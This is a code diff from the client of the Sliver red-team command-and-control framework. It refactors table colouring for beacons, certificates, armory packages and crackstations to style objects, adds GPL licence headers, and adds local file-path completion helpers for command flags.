rows = append(rows, table.Row{
|
rows = append(rows, table.Row{
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
|
style.Render(pkg.ArmoryName),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
style.Render(pkg.CommandName),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
style.Render(pkg.Version),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
style.Render(pkg.Type),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
style.Render(pkg.Help),
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -524,7 +524,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
|||||||
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) {
|
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) {
|
||||||
tw := table.NewWriter()
|
tw := table.NewWriter()
|
||||||
tw.SetStyle(settings.GetTableStyle(con))
|
tw.SetStyle(settings.GetTableStyle(con))
|
||||||
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
|
tw.SetTitle(console.StyleBold.Render("Bundles"))
|
||||||
tw.AppendHeader(table.Row{
|
tw.AppendHeader(table.Row{
|
||||||
"Armory Name",
|
"Armory Name",
|
||||||
"Name",
|
"Name",
|
||||||
|
|||||||
@@ -1,5 +1,23 @@
|
|||||||
package armory
|
package armory
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2026 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"github.com/rsteube/carapace"
|
"github.com/rsteube/carapace"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
|
|||||||
@@ -1,5 +1,23 @@
|
|||||||
package armory
|
package armory
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2026 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
|
|||||||
@@ -257,7 +257,7 @@ func displayAvailableUpdates(con *console.SliverClient, updateKeys []UpdateIdent
|
|||||||
if len(extensionUpdates) != 1 {
|
if len(extensionUpdates) != 1 {
|
||||||
extensionSuffix = "s"
|
extensionSuffix = "s"
|
||||||
}
|
}
|
||||||
tw.SetTitle(console.Bold + fmt.Sprintf(title, len(aliasUpdates), aliasSuffix, len(extensionUpdates), extensionSuffix) + console.Normal)
|
tw.SetTitle(console.StyleBold.Render(fmt.Sprintf(title, len(aliasUpdates), aliasSuffix, len(extensionUpdates), extensionSuffix)))
|
||||||
tw.AppendHeader(table.Row{
|
tw.AppendHeader(table.Row{
|
||||||
"Package Name",
|
"Package Name",
|
||||||
"Package Type",
|
"Package Type",
|
||||||
|
|||||||
@@ -178,10 +178,10 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, beacon := range beacons {
|
for _, beacon := range beacons {
|
||||||
color := console.Normal
|
style := console.StyleNormal
|
||||||
activeBeacon := con.ActiveTarget.GetBeacon()
|
activeBeacon := con.ActiveTarget.GetBeacon()
|
||||||
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
|
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
|
||||||
color = console.Green
|
style = console.StyleGreen
|
||||||
}
|
}
|
||||||
if beacon.Integrity == "" {
|
if beacon.Integrity == "" {
|
||||||
beacon.Integrity = "-"
|
beacon.Integrity = "-"
|
||||||
@@ -192,34 +192,34 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
|||||||
|
|
||||||
if wideTermWidth {
|
if wideTermWidth {
|
||||||
rowEntries = []string{
|
rowEntries = []string{
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
style.Render(strings.Split(beacon.ID, "-")[0]),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
style.Render(beacon.Name),
|
||||||
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
|
style.Render(fmt.Sprintf("%d/%d", beacon.TasksCountCompleted, beacon.TasksCount)),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
style.Render(beacon.Transport),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
|
style.Render(beacon.RemoteAddress),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
style.Render(beacon.Hostname),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
style.Render(strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||||
fmt.Sprintf(color+"%s (%d)"+console.Normal, beacon.Filename, beacon.PID),
|
style.Render(fmt.Sprintf("%s (%d)", beacon.Filename, beacon.PID)),
|
||||||
}
|
}
|
||||||
|
|
||||||
if windowsBeaconInList {
|
if windowsBeaconInList {
|
||||||
rowEntries = append(rowEntries, fmt.Sprintf(color+"%s"+console.Normal, beacon.Integrity))
|
rowEntries = append(rowEntries, style.Render(beacon.Integrity))
|
||||||
}
|
}
|
||||||
|
|
||||||
rowEntries = append(rowEntries, []string{
|
rowEntries = append(rowEntries, []string{
|
||||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
style.Render(fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch)),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
|
style.Render(beacon.Locale),
|
||||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||||
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
||||||
}...)
|
}...)
|
||||||
} else {
|
} else {
|
||||||
rowEntries = []string{
|
rowEntries = []string{
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
style.Render(strings.Split(beacon.ID, "-")[0]),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
style.Render(beacon.Name),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
style.Render(beacon.Transport),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
style.Render(beacon.Hostname),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
style.Render(strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
style.Render(fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch)),
|
||||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||||
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -28,7 +28,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
},
|
},
|
||||||
}
|
}
|
||||||
flags.Bind("beacons", true, beaconsCmd, func(f *pflag.FlagSet) {
|
flags.Bind("beacons", true, beaconsCmd, func(f *pflag.FlagSet) {
|
||||||
f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||||
})
|
})
|
||||||
flags.Bind("beacons", false, beaconsCmd, func(f *pflag.FlagSet) {
|
flags.Bind("beacons", false, beaconsCmd, func(f *pflag.FlagSet) {
|
||||||
f.StringP("kill", "k", "", "kill the designated beacon")
|
f.StringP("kill", "k", "", "kill the designated beacon")
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package c2profiles
|
package c2profiles
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/generate"
|
"github.com/bishopfox/sliver/client/command/generate"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
@@ -27,6 +28,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.StringP("file", "f", "", "Path to C2 configuration file to import")
|
f.StringP("file", "f", "", "Path to C2 configuration file to import")
|
||||||
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
|
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(importC2ProfileCmd, "file")
|
||||||
|
|
||||||
exportC2ProfileCmd := &cobra.Command{
|
exportC2ProfileCmd := &cobra.Command{
|
||||||
Use: consts.ExportC2ProfileStr,
|
Use: consts.ExportC2ProfileStr,
|
||||||
@@ -40,6 +42,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.StringP("file", "f", "", "Path to file to export C2 configuration to")
|
f.StringP("file", "f", "", "Path to file to export C2 configuration to")
|
||||||
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
|
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(exportC2ProfileCmd, "file")
|
||||||
flags.BindFlagCompletions(exportC2ProfileCmd, func(comp *carapace.ActionMap) {
|
flags.BindFlagCompletions(exportC2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||||
(*comp)["name"] = generate.HTTPC2Completer(con)
|
(*comp)["name"] = generate.HTTPC2Completer(con)
|
||||||
})
|
})
|
||||||
@@ -76,6 +79,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.StringP("name", "n", "", "HTTP C2 Profile name to save C2Profile as")
|
f.StringP("name", "n", "", "HTTP C2 Profile name to save C2Profile as")
|
||||||
f.StringP("template", "t", consts.DefaultC2Profile, "HTTP C2 Profile to use as a template for the new profile")
|
f.StringP("template", "t", consts.DefaultC2Profile, "HTTP C2 Profile to use as a template for the new profile")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(generateC2ProfileCmd, "file")
|
||||||
|
|
||||||
flags.BindFlagCompletions(generateC2ProfileCmd, func(comp *carapace.ActionMap) {
|
flags.BindFlagCompletions(generateC2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||||
(*comp)["template"] = generate.HTTPC2Completer(con)
|
(*comp)["template"] = generate.HTTPC2Completer(con)
|
||||||
|
|||||||
@@ -2,7 +2,6 @@ package certificates
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"fmt"
|
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/bishopfox/sliver/client/command/settings"
|
"github.com/bishopfox/sliver/client/command/settings"
|
||||||
@@ -58,28 +57,28 @@ func printCertificateAuthorityInfo(con *console.SliverClient, authData []*client
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, authority := range authData {
|
for _, authority := range authData {
|
||||||
rowColor := console.Normal
|
rowStyle := console.StyleNormal
|
||||||
|
|
||||||
expiry, err := time.Parse(timeFormat, authority.ValidityExpiry)
|
expiry, err := time.Parse(timeFormat, authority.ValidityExpiry)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
rowColor = checkCertExpiry(expiry)
|
rowStyle = checkCertExpiry(expiry)
|
||||||
}
|
}
|
||||||
|
|
||||||
if wideTermWidth {
|
if wideTermWidth {
|
||||||
tw.AppendRow(table.Row{
|
tw.AppendRow(table.Row{
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.ID),
|
rowStyle.Render(authority.ID),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.CN),
|
rowStyle.Render(authority.CN),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.CreationTime),
|
rowStyle.Render(authority.CreationTime),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.Type),
|
rowStyle.Render(authority.Type),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.KeyAlgorithm),
|
rowStyle.Render(authority.KeyAlgorithm),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.ValidityStart),
|
rowStyle.Render(authority.ValidityStart),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.ValidityExpiry),
|
rowStyle.Render(authority.ValidityExpiry),
|
||||||
})
|
})
|
||||||
} else {
|
} else {
|
||||||
tw.AppendRow(table.Row{
|
tw.AppendRow(table.Row{
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.ID),
|
rowStyle.Render(authority.ID),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.CN),
|
rowStyle.Render(authority.CN),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.ValidityExpiry),
|
rowStyle.Render(authority.ValidityExpiry),
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,7 +2,6 @@ package certificates
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"fmt"
|
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/bishopfox/sliver/client/command/settings"
|
"github.com/bishopfox/sliver/client/command/settings"
|
||||||
@@ -95,22 +94,22 @@ func CertificateInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
|||||||
printCertificateInfo(con, certificateInfo.Info)
|
printCertificateInfo(con, certificateInfo.Info)
|
||||||
}
|
}
|
||||||
|
|
||||||
func checkCertExpiry(expiryTime time.Time) string {
|
func checkCertExpiry(expiryTime time.Time) console.TextStyle {
|
||||||
if expiryTime.Before(time.Now()) || expiryTime.Equal(time.Now()) {
|
if expiryTime.Before(time.Now()) || expiryTime.Equal(time.Now()) {
|
||||||
return console.Bold + console.Red
|
return console.StyleBoldRed
|
||||||
}
|
}
|
||||||
|
|
||||||
// One week is 168 hours - this is bad
|
// One week is 168 hours - this is bad
|
||||||
if expiryTime.Before(time.Now().Add(168 * time.Hour)) {
|
if expiryTime.Before(time.Now().Add(168 * time.Hour)) {
|
||||||
return console.Bold + console.Red
|
return console.StyleBoldRed
|
||||||
}
|
}
|
||||||
|
|
||||||
// One month is approximately 730 hours - this is a warning
|
// One month is approximately 730 hours - this is a warning
|
||||||
if expiryTime.Before(time.Now().Add(730 * time.Hour)) {
|
if expiryTime.Before(time.Now().Add(730 * time.Hour)) {
|
||||||
return console.Bold + console.Orange
|
return console.StyleBoldOrange
|
||||||
}
|
}
|
||||||
|
|
||||||
return console.Normal
|
return console.StyleNormal
|
||||||
}
|
}
|
||||||
|
|
||||||
func printCertificateInfo(con *console.SliverClient, certData []*clientpb.CertificateData) {
|
func printCertificateInfo(con *console.SliverClient, certData []*clientpb.CertificateData) {
|
||||||
@@ -148,28 +147,28 @@ func printCertificateInfo(con *console.SliverClient, certData []*clientpb.Certif
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, cert := range certData {
|
for _, cert := range certData {
|
||||||
rowColor := console.Normal
|
rowStyle := console.StyleNormal
|
||||||
|
|
||||||
expiry, err := time.Parse(timeFormat, cert.ValidityExpiry)
|
expiry, err := time.Parse(timeFormat, cert.ValidityExpiry)
|
||||||
// This should not error out, but if it does, the row will not be colored
|
// This should not error out, but if it does, the row will not be colored
|
||||||
if err == nil {
|
if err == nil {
|
||||||
rowColor = checkCertExpiry(expiry)
|
rowStyle = checkCertExpiry(expiry)
|
||||||
}
|
}
|
||||||
if wideTermWidth {
|
if wideTermWidth {
|
||||||
tw.AppendRow(table.Row{
|
tw.AppendRow(table.Row{
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
|
rowStyle.Render(cert.ID),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
|
rowStyle.Render(cert.CN),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CreationTime),
|
rowStyle.Render(cert.CreationTime),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.Type),
|
rowStyle.Render(cert.Type),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.KeyAlgorithm),
|
rowStyle.Render(cert.KeyAlgorithm),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityStart),
|
rowStyle.Render(cert.ValidityStart),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
|
rowStyle.Render(cert.ValidityExpiry),
|
||||||
})
|
})
|
||||||
} else {
|
} else {
|
||||||
tw.AppendRow(table.Row{
|
tw.AppendRow(table.Row{
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
|
rowStyle.Render(cert.ID),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
|
rowStyle.Render(cert.CN),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
|
rowStyle.Render(cert.ValidityExpiry),
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -22,6 +22,7 @@ import (
|
|||||||
"net"
|
"net"
|
||||||
|
|
||||||
"github.com/rsteube/carapace"
|
"github.com/rsteube/carapace"
|
||||||
|
"github.com/spf13/cobra"
|
||||||
)
|
)
|
||||||
|
|
||||||
// ClientInterfacesCompleter completes interface addresses on the client host.
|
// ClientInterfacesCompleter completes interface addresses on the client host.
|
||||||
@@ -84,3 +85,60 @@ func LocalProxyCompleter() carapace.Action {
|
|||||||
}).Invoke(c).Prefix(prefix).ToA()
|
}).Invoke(c).Prefix(prefix).ToA()
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// LocalFilePathCompleter completes local file and directory paths.
|
||||||
|
func LocalFilePathCompleter() carapace.Action {
|
||||||
|
return carapace.ActionFiles().Tag("local file path")
|
||||||
|
}
|
||||||
|
|
||||||
|
// RegisterLocalFilePathFlagCompletion registers local file-path completion for a flag.
|
||||||
|
func RegisterLocalFilePathFlagCompletion(cmd *cobra.Command, name string) {
|
||||||
|
if cmd == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, _ string) ([]string, cobra.ShellCompDirective) {
|
||||||
|
return nil, cobra.ShellCompDirectiveDefault
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// RegisterLocalFilePathFlagCompletions registers local file-path completion for a list of flags.
|
||||||
|
func RegisterLocalFilePathFlagCompletions(cmd *cobra.Command, names ...string) {
|
||||||
|
for _, name := range names {
|
||||||
|
RegisterLocalFilePathFlagCompletion(cmd, name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// RegisterLocalFilePathPositionalCompletion registers local file-path completion for a positional argument index.
|
||||||
|
func RegisterLocalFilePathPositionalCompletion(cmd *cobra.Command, index int) {
|
||||||
|
if cmd == nil || index < 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if cmd.ValidArgsFunction != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cmd.ValidArgsFunction = func(_ *cobra.Command, args []string, _ string) ([]string, cobra.ShellCompDirective) {
|
||||||
|
if len(args) == index {
|
||||||
|
return nil, cobra.ShellCompDirectiveDefault
|
||||||
|
}
|
||||||
|
return nil, cobra.ShellCompDirectiveNoFileComp
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// RegisterLocalFilePathPositionalAnyCompletion registers local file-path completion for all positional arguments.
|
||||||
|
func RegisterLocalFilePathPositionalAnyCompletion(cmd *cobra.Command) {
|
||||||
|
if cmd == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if cmd.ValidArgsFunction != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cmd.ValidArgsFunction = func(_ *cobra.Command, _ []string, _ string) ([]string, cobra.ShellCompDirective) {
|
||||||
|
return nil, cobra.ShellCompDirectiveDefault
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
package crack
|
package crack
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/rsteube/carapace"
|
"github.com/rsteube/carapace"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
"github.com/spf13/pflag"
|
"github.com/spf13/pflag"
|
||||||
@@ -61,6 +62,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.StringP("name", "n", "", "wordlist name (blank = filename)")
|
f.StringP("name", "n", "", "wordlist name (blank = filename)")
|
||||||
})
|
})
|
||||||
carapace.Gen(wordlistsAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local wordlist file"))
|
carapace.Gen(wordlistsAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local wordlist file"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(wordlistsAddCmd, 0)
|
||||||
wordlistsCmd.AddCommand(wordlistsAddCmd)
|
wordlistsCmd.AddCommand(wordlistsAddCmd)
|
||||||
|
|
||||||
wordlistsRmCmd := &cobra.Command{
|
wordlistsRmCmd := &cobra.Command{
|
||||||
@@ -95,6 +97,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.StringP("name", "n", "", "rules name (blank = filename)")
|
f.StringP("name", "n", "", "rules name (blank = filename)")
|
||||||
})
|
})
|
||||||
carapace.Gen(rulesAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local rules file"))
|
carapace.Gen(rulesAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local rules file"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(rulesAddCmd, 0)
|
||||||
rulesCmd.AddCommand(rulesAddCmd)
|
rulesCmd.AddCommand(rulesAddCmd)
|
||||||
|
|
||||||
rulesRmCmd := &cobra.Command{
|
rulesRmCmd := &cobra.Command{
|
||||||
@@ -130,6 +133,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.StringP("name", "n", "", "hcstat2 name (blank = filename)")
|
f.StringP("name", "n", "", "hcstat2 name (blank = filename)")
|
||||||
})
|
})
|
||||||
carapace.Gen(hcstat2AddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local hcstat2 file"))
|
carapace.Gen(hcstat2AddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local hcstat2 file"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(hcstat2AddCmd, 0)
|
||||||
hcstat2Cmd.AddCommand(hcstat2AddCmd)
|
hcstat2Cmd.AddCommand(hcstat2AddCmd)
|
||||||
|
|
||||||
hcstat2RmCmd := &cobra.Command{
|
hcstat2RmCmd := &cobra.Command{
|
||||||
|
|||||||
@@ -106,17 +106,17 @@ func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverClient)
|
|||||||
|
|
||||||
func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverClient) {
|
func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverClient) {
|
||||||
wordlistTable := table.NewWriter()
|
wordlistTable := table.NewWriter()
|
||||||
wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal)
|
wordlistTable.SetTitle(console.StyleBold.Render("Wordlists"))
|
||||||
wordlistTable.SetStyle(settings.GetTableStyle(con))
|
wordlistTable.SetStyle(settings.GetTableStyle(con))
|
||||||
wordlistTable.AppendHeader(table.Row{"Name", "Size"})
|
wordlistTable.AppendHeader(table.Row{"Name", "Size"})
|
||||||
|
|
||||||
rulesTable := table.NewWriter()
|
rulesTable := table.NewWriter()
|
||||||
rulesTable.SetTitle(console.Bold + "Rules" + console.Normal)
|
rulesTable.SetTitle(console.StyleBold.Render("Rules"))
|
||||||
rulesTable.SetStyle(settings.GetTableStyle(con))
|
rulesTable.SetStyle(settings.GetTableStyle(con))
|
||||||
rulesTable.AppendHeader(table.Row{"Name", "Size"})
|
rulesTable.AppendHeader(table.Row{"Name", "Size"})
|
||||||
|
|
||||||
hcTable := table.NewWriter()
|
hcTable := table.NewWriter()
|
||||||
hcTable.SetTitle(console.Bold + "Markov Hcstat2" + console.Normal)
|
hcTable.SetTitle(console.StyleBold.Render("Markov Hcstat2"))
|
||||||
hcTable.SetStyle(settings.GetTableStyle(con))
|
hcTable.SetStyle(settings.GetTableStyle(con))
|
||||||
hcTable.AppendHeader(table.Row{"Name", "Size"})
|
hcTable.AppendHeader(table.Row{"Name", "Size"})
|
||||||
|
|
||||||
|
|||||||
@@ -132,35 +132,35 @@ func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient,
|
|||||||
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient, showBenchmarks bool) {
|
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient, showBenchmarks bool) {
|
||||||
tw := table.NewWriter()
|
tw := table.NewWriter()
|
||||||
tw.SetStyle(settings.GetTableStyle(con))
|
tw.SetStyle(settings.GetTableStyle(con))
|
||||||
tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
|
tw.SetTitle(console.StyleBoldOrange.Render(fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName)) + "\n")
|
||||||
tw.AppendSeparator()
|
tw.AppendSeparator()
|
||||||
tw.AppendRow(table.Row{console.Bold + "Operating System" + console.Normal, fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Operating System"), fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
|
||||||
tw.AppendRow(table.Row{console.Bold + "Hashcat Version" + console.Normal, cracker.HashcatVersion})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Hashcat Version"), cracker.HashcatVersion})
|
||||||
if 0 < len(cracker.CUDA) {
|
if 0 < len(cracker.CUDA) {
|
||||||
for _, cuda := range cracker.CUDA {
|
for _, cuda := range cracker.CUDA {
|
||||||
tw.AppendSeparator()
|
tw.AppendSeparator()
|
||||||
tw.AppendRow(table.Row{console.Bold + "CUDA Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, cuda.Name, cuda.Version)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("CUDA Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", cuda.Name, cuda.Version))})
|
||||||
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
|
||||||
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", cuda.Clock)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", cuda.Clock)})
|
||||||
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", cuda.Processors)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", cuda.Processors)})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
